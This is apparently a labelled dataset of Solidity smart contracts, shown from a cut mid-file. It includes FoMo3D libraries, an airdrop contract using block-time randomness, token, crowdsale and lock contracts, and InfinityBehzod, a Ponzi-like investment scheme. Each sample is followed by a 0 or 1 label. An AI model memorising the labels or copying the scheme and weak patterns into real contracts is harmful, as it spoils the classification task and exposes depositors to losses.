uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; uint256 affNum; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; uint256 maxEthPID; uint256 maxAffPID; uint256[3] plyrs; } struct TeamFee { uint256 gen; } struct PotSplit { uint256 gen; } } library F3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface F3DexternalSettingsInterface { function getFastGap() external returns(uint256); function getLongGap() external returns(uint256); function getFastExtra() external returns(uint256); function getLongExtra() external returns(uint256); } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0
pragma solidity ^0.5.7; contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(msg.sender == _owner); _; } function transferOwnership(address newOwner) external onlyOwner { require(newOwner != address(0)); address __previousOwner = _owner; _owner = newOwner; emit OwnershipTransferred(__previousOwner, newOwner); } function rescueTokens(address tokenAddr, address receiver, uint256 amount) external onlyOwner { IERC20 _token = IERC20(tokenAddr); require(receiver != address(0)); uint256 balance = _token.balanceOf(address(this)); require(balance >= amount); assert(_token.transfer(receiver, amount)); } function withdrawEther(address payable to, uint256 amount) external onlyOwner { require(to != address(0)); uint256 balance = address(this).balance; require(balance >= amount); to.transfer(amount); } } interface IERC20{ function balanceOf(address owner) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract WesionAirdrop is Ownable { using SafeMath for uint256; IERC20 public wesion; uint256 private _wei_min; mapping(address => bool) public _airdopped; event Donate(address indexed account, uint256 amount); function wei_min() public view returns (uint256) { return _wei_min; } constructor() public { wesion = IERC20(0xF0921CF26f6BA21739530ccA9ba2548bB34308f1); } function () external payable { require(_airdopped[msg.sender] != true); require(msg.sender.balance >= _wei_min); uint256 balance = wesion.balanceOf(address(this)); require(balance > 0); uint256 wesionAmount = 100; wesionAmount = wesionAmount.add(uint256(keccak256(abi.encode(now, msg.sender, now))) % 100).mul(10 ** 6); if (wesionAmount <= balance) { assert(wesion.transfer(msg.sender, wesionAmount)); } else { assert(wesion.transfer(msg.sender, balance)); } if (msg.value > 0) { emit Donate(msg.sender, msg.value); } } function setWeiMin(uint256 value) external onlyOwner { _wei_min = value; } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30499200; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x31dee25879D317fC5D6A320A48aFd44Ac49cdcc1; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.24; library GrowingControl { using GrowingControl for data; struct data { uint min; uint max; uint startAt; uint maxAmountPerDay; mapping(uint => uint) investmentsPerDay; } function addInvestment(data storage control, uint amount) internal { control.investmentsPerDay[getCurrentDay()] += amount; } function getMaxInvestmentToday(data storage control) internal view returns (uint) { if (control.startAt == 0) { return 10000 ether; } if (control.startAt > now) { return 10000 ether; } return control.maxAmountPerDay - control.getTodayInvestment(); } function getCurrentDay() internal view returns (uint) { return now / 24 hours; } function getTodayInvestment(data storage control) internal view returns (uint) { return control.investmentsPerDay[getCurrentDay()]; } } contract InfinityBehzod { using GrowingControl for GrowingControl.data; address public owner = 0x0000000000000000000000000000000000000000; uint constant public MINIMUM_INVEST = 10000000000000000 wei; uint public currentInterest = 3; uint public depositAmount; uint public paidAmount; uint public round = 1; uint public lastPaymentDate; uint public advertFee = 10; uint public devFee = 5; uint public profitThreshold = 2; address public devAddr; address public advertAddr; address[] public addresses; mapping(address => Investor) public investors; bool public pause; struct Thunderstorm { address addr; uint deposit; uint from; } struct Investor { uint id; uint deposit; uint deposits; uint paidOut; uint date; address referrer; } event Invest(address indexed addr, uint amount, address referrer); event Payout(address indexed addr, uint amount, string eventType, address from); event NextRoundStarted(uint indexed round, uint date, uint deposit); event ThunderstormUpdate(address addr, string eventType); Thunderstorm public thunderstorm; GrowingControl.data private growingControl; modifier onlyOwner {if (msg.sender == owner) _;} constructor() public { owner = msg.sender; devAddr = msg.sender; addresses.length = 1; growingControl.min = 30 ether; growingControl.max = 500 ether; } function setAdvertAddr(address addr) onlyOwner public { advertAddr = addr; } function setGrowingControlStartAt(uint startAt) onlyOwner public { growingControl.startAt = startAt; } function getGrowingControlStartAt() public view returns (uint) { return growingControl.startAt; } function setGrowingMaxPerDay(uint maxAmountPerDay) public { require(maxAmountPerDay >= growingControl.min && maxAmountPerDay <= growingControl.max, "incorrect amount"); require(msg.sender == devAddr, "Only dev team have access to this function"); growingControl.maxAmountPerDay = maxAmountPerDay; } function getInvestorData(address[] _addr, uint[] _deposit, uint[] _date, address[] _referrer) onlyOwner public { for (uint i = 0; i < _addr.length; i++) { uint id = addresses.length; if (investors[_addr[i]].deposit == 0) { addresses.push(_addr[i]); depositAmount += _deposit[i]; } investors[_addr[i]] = Investor(id, _deposit[i], 1, 0, _date[i], _referrer[i]); } lastPaymentDate = now; } function() payable public { if (isContract()) { revert(); } if (pause) { doRestart(); msg.sender.transfer(msg.value); return; } if (0 == msg.value) { payDividends(); return; } require(msg.value >= MINIMUM_INVEST, "Too small amount, minimum 0.01 ether"); Investor storage user = investors[msg.sender]; if (user.id == 0) { user.id = addresses.push(msg.sender); user.date = now; address referrer = bytesToAddress(msg.data); if (investors[referrer].deposit > 0 && referrer != msg.sender) { user.referrer = referrer; } } else { payDividends(); } uint investment = min(growingControl.getMaxInvestmentToday(), msg.value); require(investment > 0, "Too much investments today"); user.deposit += investment; user.deposits += 1; emit Invest(msg.sender, investment, user.referrer); depositAmount += investment; lastPaymentDate = now; if (devAddr.send(investment / 100 * devFee)) { } if (advertAddr.send(investment / 100 * advertFee)) { } uint bonusAmount = investment / 100 * currentInterest; if (user.referrer > 0x0) { if (user.referrer.send(bonusAmount)) { emit Payout(user.referrer, bonusAmount, "referral", msg.sender); } if (user.deposits == 1) { if (msg.sender.send(bonusAmount)) { emit Payout(msg.sender, bonusAmount, "cash-back", 0); } } } else if (thunderstorm.addr > 0x0 && thunderstorm.from + 24 hours > now) { if (thunderstorm.addr.send(bonusAmount)) { emit Payout(thunderstorm.addr, bonusAmount, "thunderstorm", msg.sender); } } considerCurrentInterest(); growingControl.addInvestment(investment); considerThunderstorm(investment); if (msg.value > investment) { msg.sender.transfer(msg.value - investment); } } function getTodayInvestment() view public returns (uint) { return growingControl.getTodayInvestment(); } function getMaximumInvestmentPerDay() view public returns (uint) { return growingControl.maxAmountPerDay; } function payDividends() private { require(investors[msg.sender].id > 0, "Investor not found"); uint amount = getInvestorDividendsAmount(msg.sender); if (amount == 0) { return; } investors[msg.sender].date = now; investors[msg.sender].paidOut += amount; paidAmount += amount; uint balance = address(this).balance; if (balance < amount) { pause = true; amount = balance; } msg.sender.transfer(amount); emit Payout(msg.sender, amount, "payout", 0); if (investors[msg.sender].paidOut >= investors[msg.sender].deposit * profitThreshold) { delete investors[msg.sender]; } } function doRestart() private { uint txs; for (uint i = addresses.length - 1; i > 0; i--) { delete investors[addresses[i]]; addresses.length -= 1; if (txs++ == 150) { return; } } emit NextRoundStarted(round, now, depositAmount); pause = false; round += 1; depositAmount = 0; paidAmount = 0; lastPaymentDate = now; } function getInvestorCount() public view returns (uint) { return addresses.length - 1; } function considerCurrentInterest() internal { uint interest; if (depositAmount >= 4000 ether) { interest = 1; } else if (depositAmount >= 1000 ether) { interest = 2; } else { interest = 3; } if (interest >= currentInterest) { return; } currentInterest = interest; } function considerThunderstorm(uint amount) internal { if (thunderstorm.addr > 0x0 && thunderstorm.from + 10 days < now) { thunderstorm.addr = 0x0; thunderstorm.deposit = 0; emit ThunderstormUpdate(msg.sender, "expired"); } if (amount > thunderstorm.deposit) { thunderstorm = Thunderstorm(msg.sender, amount, now); emit ThunderstormUpdate(msg.sender, "change"); } } function getInvestorDividendsAmount(address addr) public view returns (uint) { uint time = min(now - investors[addr].date, 5 days); return investors[addr].deposit / 100 * currentInterest * time / 1 days; } function bytesToAddress(bytes bys) private pure returns (address addr) { assembly { addr := mload(add(bys, 20)) } } function isContract() internal view returns (bool) { return msg.sender != tx.origin; } function min(uint a, uint b) public pure returns (uint) { if (a < b) return a; else return b; } }
1
contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Whitelisted is Ownable { mapping (address => uint8) public whitelist; mapping (address => bool) public provider; modifier onlyWhitelisted { require(isWhitelisted(msg.sender)); _; } modifier onlyProvider { require(isProvider(msg.sender)); _; } function isProvider(address _provider) public view returns (bool){ if (owner() == _provider){ return true; } return provider[_provider] == true ? true : false; } function setProvider(address _provider) public onlyOwner { provider[_provider] = true; } function deactivateProvider(address _provider) public onlyOwner { require(provider[_provider] == true); provider[_provider] = false; } function setWhitelisted(address _purchaser, uint8 _zone) public onlyProvider { whitelist[_purchaser] = _zone; } function deleteFromWhitelist(address _purchaser) public onlyProvider { whitelist[_purchaser] = 0; } function getWhitelistedZone(address _purchaser) public view returns(uint8) { return whitelist[_purchaser] > 0 ? whitelist[_purchaser] : 0; } function isWhitelisted(address _purchaser) public view returns (bool){ return whitelist[_purchaser] > 0; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeERC20 { using SafeMath for uint256; function safeTransfer( IERC20 token, address to, uint256 value ) internal { require(token.transfer(to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require((value == 0) || (token.allowance(msg.sender, spender) == 0)); require(token.approve(spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); require(token.approve(spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); require(token.approve(spender, newAllowance)); } } contract ReentrancyGuard { uint256 private _guardCounter; constructor() internal { _guardCounter = 1; } modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter); } } contract Crowdsale is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 private _token; address private _wallet; uint256 private _rate; uint256 private _weiRaised; event TokensPurchased( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); constructor(uint256 rate, address wallet, IERC20 token) internal { require(rate > 0); require(wallet != address(0)); require(token != address(0)); _rate = rate; _wallet = wallet; _token = token; } function () external payable { buyTokens(msg.sender); } function token() public view returns(IERC20) { return _token; } function wallet() public view returns(address) { return _wallet; } function rate() public view returns(uint256) { return _rate; } function weiRaised() public view returns (uint256) { return _weiRaised; } function buyTokens(address beneficiary) public nonReentrant payable { uint256 weiAmount = msg.value; _preValidatePurchase(beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); _weiRaised = _weiRaised.add(weiAmount); _processPurchase(beneficiary, tokens); emit TokensPurchased( msg.sender, beneficiary, weiAmount, tokens ); _updatePurchasingState(beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(beneficiary, weiAmount); } function _preValidatePurchase( address beneficiary, uint256 weiAmount ) internal view { require(beneficiary != address(0)); require(weiAmount != 0); } function _postValidatePurchase( address beneficiary, uint256 weiAmount ) internal view { } function _deliverTokens( address beneficiary, uint256 tokenAmount ) internal { _token.safeTransfer(beneficiary, tokenAmount); } function _processPurchase( address beneficiary, uint256 tokenAmount ) internal { _deliverTokens(beneficiary, tokenAmount); } function _updatePurchasingState( address beneficiary, uint256 weiAmount ) internal { } function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return weiAmount.mul(_rate); } function _forwardFunds() internal { _wallet.transfer(msg.value); } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 private _openingTime; uint256 private _closingTime; modifier onlyWhileOpen { require(isOpen()); _; } constructor(uint256 openingTime, uint256 closingTime) internal { require(openingTime >= block.timestamp); require(closingTime > openingTime); _openingTime = openingTime; _closingTime = closingTime; } function openingTime() public view returns(uint256) { return _openingTime; } function closingTime() public view returns(uint256) { return _closingTime; } function isOpen() public view returns (bool) { return block.timestamp >= _openingTime && block.timestamp <= _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > _closingTime; } function _preValidatePurchase( address beneficiary, uint256 weiAmount ) internal onlyWhileOpen view { super._preValidatePurchase(beneficiary, weiAmount); } } contract PostDeliveryCrowdsale is TimedCrowdsale { using SafeMath for uint256; mapping(address => uint256) private _balances; constructor() internal {} function withdrawTokens(address beneficiary) public { require(hasClosed()); uint256 amount = _balances[beneficiary]; require(amount > 0); _balances[beneficiary] = 0; _deliverTokens(beneficiary, amount); } function balanceOf(address account) public view returns(uint256) { return _balances[account]; } function _processPurchase( address beneficiary, uint256 tokenAmount ) internal { _balances[beneficiary] = _balances[beneficiary].add(tokenAmount); } } library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } contract AllowanceCrowdsale is Crowdsale { using SafeMath for uint256; using SafeERC20 for IERC20; address private _tokenWallet; constructor(address tokenWallet) internal { require(tokenWallet != address(0)); _tokenWallet = tokenWallet; } function tokenWallet() public view returns(address) { return _tokenWallet; } function remainingTokens() public view returns (uint256) { return Math.min( token().balanceOf(_tokenWallet), token().allowance(_tokenWallet, this) ); } function _deliverTokens( address beneficiary, uint256 tokenAmount ) internal { token().safeTransferFrom(_tokenWallet, beneficiary, tokenAmount); } } contract MocoCrowdsale is TimedCrowdsale, AllowanceCrowdsale, Whitelisted { uint256 public bonusPeriod; uint256 public bonusAmount; uint256 private _unlock1; uint256 private _unlock2; uint8 private _lockedZone; uint256 private _totalTokensDistributed; uint256 private _totalTokensLocked; event TokensPurchased( address indexed purchaser, address indexed beneficiary, address asset, uint256 value, uint256 amount ); struct Asset { uint256 weiRaised; uint256 minAmount; uint256 rate; bool active; } mapping (address => Asset) private asset; mapping(address => uint256) private _balances; constructor( uint256 _openingTime, uint256 _closingTime, uint256 _unlockPeriod1, uint256 _unlockPeriod2, uint256 _bonusPeriodEnd, uint256 _bonusAmount, uint256 _rate, address _wallet, IERC20 _token, address _tokenWallet ) public TimedCrowdsale(_openingTime, _closingTime) Crowdsale(_rate, _wallet, _token) AllowanceCrowdsale(_tokenWallet){ _unlock1 = _unlockPeriod1; _unlock2 = _unlockPeriod2; bonusPeriod = _bonusPeriodEnd; bonusAmount = _bonusAmount; asset[0x0].rate = _rate; } function getAssetRaised(address _assetAddress) public view returns(uint256) { return asset[_assetAddress].weiRaised; } function getAssetMinAmount(address _assetAddress) public view returns(uint256) { return asset[_assetAddress].minAmount; } function getAssetRate(address _assetAddress) public view returns(uint256) { return asset[_assetAddress].rate; } function isAssetActive(address _assetAddress) public view returns(bool) { return asset[_assetAddress].active == true ? true : false; } function setAsset(address _assetAddress, uint256 _weiRaised, uint256 _minAmount, uint256 _rate) public onlyOwner { asset[_assetAddress].weiRaised = _weiRaised; asset[_assetAddress].minAmount = _minAmount; asset[_assetAddress].rate = _rate; asset[_assetAddress].active = true; } function weiRaised(address _asset) public view returns (uint256) { return asset[_asset].weiRaised; } function _getTokenAmount(uint256 weiAmount, address asst) internal view returns (uint256) { return weiAmount.mul(asset[asst].rate); } function minAmount(address _asset) public view returns (uint256) { return asset[_asset].minAmount; } function buyTokens(address beneficiary) public onlyWhitelisted payable { uint256 weiAmount = msg.value; _preValidatePurchase(beneficiary, weiAmount, 0x0); uint256 tokens = _getTokenAmount(weiAmount, 0x0); asset[0x0].weiRaised = asset[0x0].weiRaised.add(weiAmount); _processPurchase(beneficiary, tokens); emit TokensPurchased( msg.sender, beneficiary, 0x0, weiAmount, tokens ); super._forwardFunds(); } function buyTokensAsset(address beneficiary, address asst, uint256 amount) public onlyWhitelisted { require(isAssetActive(asst)); _preValidatePurchase(beneficiary, amount, asst); uint256 tokens = _getTokenAmount(amount, asst); asset[asst].weiRaised = asset[asst].weiRaised.add(amount); _processPurchase(beneficiary, tokens); emit TokensPurchased( msg.sender, beneficiary, asst, amount, tokens ); address _wallet = wallet(); IERC20(asst).safeTransferFrom(beneficiary, _wallet, amount); } function lockedHasEnd() public view returns (bool) { return block.timestamp > _unlock1 ? true : false; } function lockedTwoHasEnd() public view returns (bool) { return block.timestamp > _unlock2 ? true : false; } function withdrawTokens(address beneficiary) public { require(lockedHasEnd()); uint256 amount = _balances[beneficiary]; require(amount > 0); uint256 zone = super.getWhitelistedZone(beneficiary); if (zone == 840){ if(lockedTwoHasEnd()){ _balances[beneficiary] = 0; _deliverTokens(beneficiary, amount); } } else { _balances[beneficiary] = 0; _deliverTokens(beneficiary, amount); } } function balanceOf(address account) public view returns(uint256) { return _balances[account]; } function _preValidatePurchase( address beneficiary, uint256 weiAmount, address asst ) internal view { require(beneficiary != address(0)); require(weiAmount != 0); require(weiAmount >= minAmount(asst)); } function getBonusAmount(uint256 _tokenAmount) public view returns(uint256) { return block.timestamp < bonusPeriod ? _tokenAmount.div(bonusAmount) : 0; } function calculateTokens(uint256 _weiAmount) public view returns(uint256) { uint256 tokens = _getTokenAmount(_weiAmount); return tokens + getBonusAmount(tokens); } function _processPurchase( address beneficiary, uint256 tokenAmount ) internal { uint256 zone = super.getWhitelistedZone(beneficiary); uint256 bonusTokens = getBonusAmount(tokenAmount); if (zone == 840){ uint256 totalTokens = bonusTokens.add(tokenAmount); _balances[beneficiary] = _balances[beneficiary].add(totalTokens); } else { super._deliverTokens(beneficiary, tokenAmount); _balances[beneficiary] = _balances[beneficiary].add(bonusTokens); } } }
0
pragma solidity ^0.4.24; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract LWRMCCToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "MCC"; name = "LWR MCC ERC20 Token"; decimals = 18; _totalSupply = 5000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
1
pragma solidity ^0.4.16; contract AXLToken { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function AXLToken() public { totalSupply = 150000000 * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = "Axle Project"; symbol = "AXL"; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }
1
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a - b; assert(b <= a); assert(a == c + b); return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); assert(a == c - b); return c; } } contract owned { address public owner; constructor() public{ owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { owner = newOwner; } } contract EducationTokens is owned{ using SafeMath for uint256; bool private transferFlag; string public name; uint256 public decimals; string public symbol; string public version; uint256 public totalSupply; uint256 public deployTime; mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public allowed; mapping(address => uint256) private userLockedTokens; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Lock(address userAddress, uint256 amount); event Unlock(address userAddress,uint256 